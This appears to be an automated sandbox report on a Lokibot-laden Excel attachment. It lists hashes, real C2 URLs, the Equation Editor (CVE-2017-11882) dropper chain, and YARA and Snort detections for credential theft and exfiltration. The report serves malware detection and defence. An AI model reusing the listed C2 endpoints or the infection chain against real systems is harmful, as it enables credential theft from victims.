Play interactive tour

Edit tour

Windows Analysis Report Original shipping documents.xlsx

Overview

General Information

Sample Name:	Original shipping documents.xlsx
Analysis ID:	491904
MD5:	27eb25e6fbbbd37115055ecc4b557c53
SHA1:	4c986607a941900d9d8804aa351dcab0cc4de224
SHA256:	09d2b8f86f136cb14832e9a4de582c239c698044adcc8d12d6195f5eff78ccab
Tags:	xlsx
Infos:
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Sigma detected: EQNEDT32.EXE connecting to internet

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Sigma detected: Droppers Exploiting CVE-2017-11882

Yara detected Lokibot

Detected unpacking (changes PE section rights)

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Yara detected aPLib compressed binary

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file registry)

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Execution from Suspicious Folder

Office equation editor drops PE file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Potential document exploit detected (performs DNS queries)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Downloads executable code via HTTP

Searches the installation path of Mozilla Firefox

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Office Equation Editor has been started

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2688 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 1484 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 1268 cmdline: 'C:\Users\Public\vbc.exe' MD5: 59A67B5CCF01B6A564265797DC5E53E8)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://checkvim.com/ga14/fre.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13e4f:$des3: 68 03 66 00 00 0x18240:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1830c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: vbc.exe PID: 1268	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: vbc.exe PID: 1268	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.vbc.exe.400000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.vbc.exe.400000.1.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
4.2.vbc.exe.400000.1.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
4.2.vbc.exe.400000.1.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
4.2.vbc.exe.400000.1.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
4.2.vbc.exe.220e50.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
4.2.vbc.exe.220e50.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.vbc.exe.220e50.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
4.2.vbc.exe.220e50.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
4.2.vbc.exe.220e50.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
4.2.vbc.exe.220e50.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
4.3.vbc.exe.3e0000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x16c74:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13280:$s2: https:// 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
4.3.vbc.exe.3e0000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
4.3.vbc.exe.3e0000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
4.3.vbc.exe.3e0000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
4.3.vbc.exe.3e0000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
4.3.vbc.exe.3e0000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.3.vbc.exe.3e0000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
4.3.vbc.exe.3e0000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
4.3.vbc.exe.3e0000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
4.3.vbc.exe.3e0000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
4.2.vbc.exe.220e50.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x16c74:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13280:$s2: https:// 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
4.2.vbc.exe.220e50.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
4.2.vbc.exe.220e50.0.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
4.2.vbc.exe.220e50.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
4.2.vbc.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.vbc.exe.400000.1.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
4.2.vbc.exe.400000.1.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
4.2.vbc.exe.400000.1.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
4.2.vbc.exe.400000.1.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 25 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.155.83.184, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1484, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1484, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1484, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 1268

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://checkvim.com/ga14/fre.php"]}

Antivirus detection for URL or domain

Show sources

Source: http://checkvim.com/ga14/fre.php

Avira URL Cloud: Label: malware

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\Public\vbc.exe

Unpacked PE file: 4.2.vbc.exe.400000.1.unpack

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:	Binary string: 5}NC:\yasacogirig_reyeg56\zajotowuyavi\yezufemeloya.pdb source: vbc.exe, 00000004.00000000.448184731.0000000000418000.00000002.00020000.sdmp, vbc.exe.2.dr
Source:	Binary string: C:\yasacogirig_reyeg56\zajotowuyavi\yezufemeloya.pdb source: vbc.exe, 00000004.00000000.448184731.0000000000418000.00000002.00020000.sdmp, vbc.exe.2.dr

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: global traffic

DNS query: name: checkvim.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.155.83.184:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.155.83.184:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49166 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49166 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49166 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49166 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.22:49167 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49167 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49167 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.22:49167 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49168 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49168 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49168 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49168 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49168
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49169 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49169 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49169 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49169 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49169
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49170 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49170 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49170 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49170 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49170
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49171 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49171 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49171 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49171 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49172 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49172 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49172 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49172 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49172
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49173 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49173 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49173 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49173 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49174 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49174 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49174 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49174 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49174
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49175 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49175 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49175 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49175 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49175
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49176 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49176 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49176 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49176 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49176
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49177 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49177 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49177 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49177 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49178 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49178 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49178 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49178 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49178
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49179 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49179 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49179 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49179 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49179
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49180 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49180 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49180 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49180 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49180
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49181 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49181 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49181 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49181 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49181
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49182 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49182 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49182 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49182 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49182
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49183 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49183 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49183 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49183 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49183
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49184 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49184 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49184 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49184 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 5.188.89.50:80 -> 192.168.2.22:49184
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49185 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49185 -> 5.188.89.50:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49185 -> 5.188.89.50:80
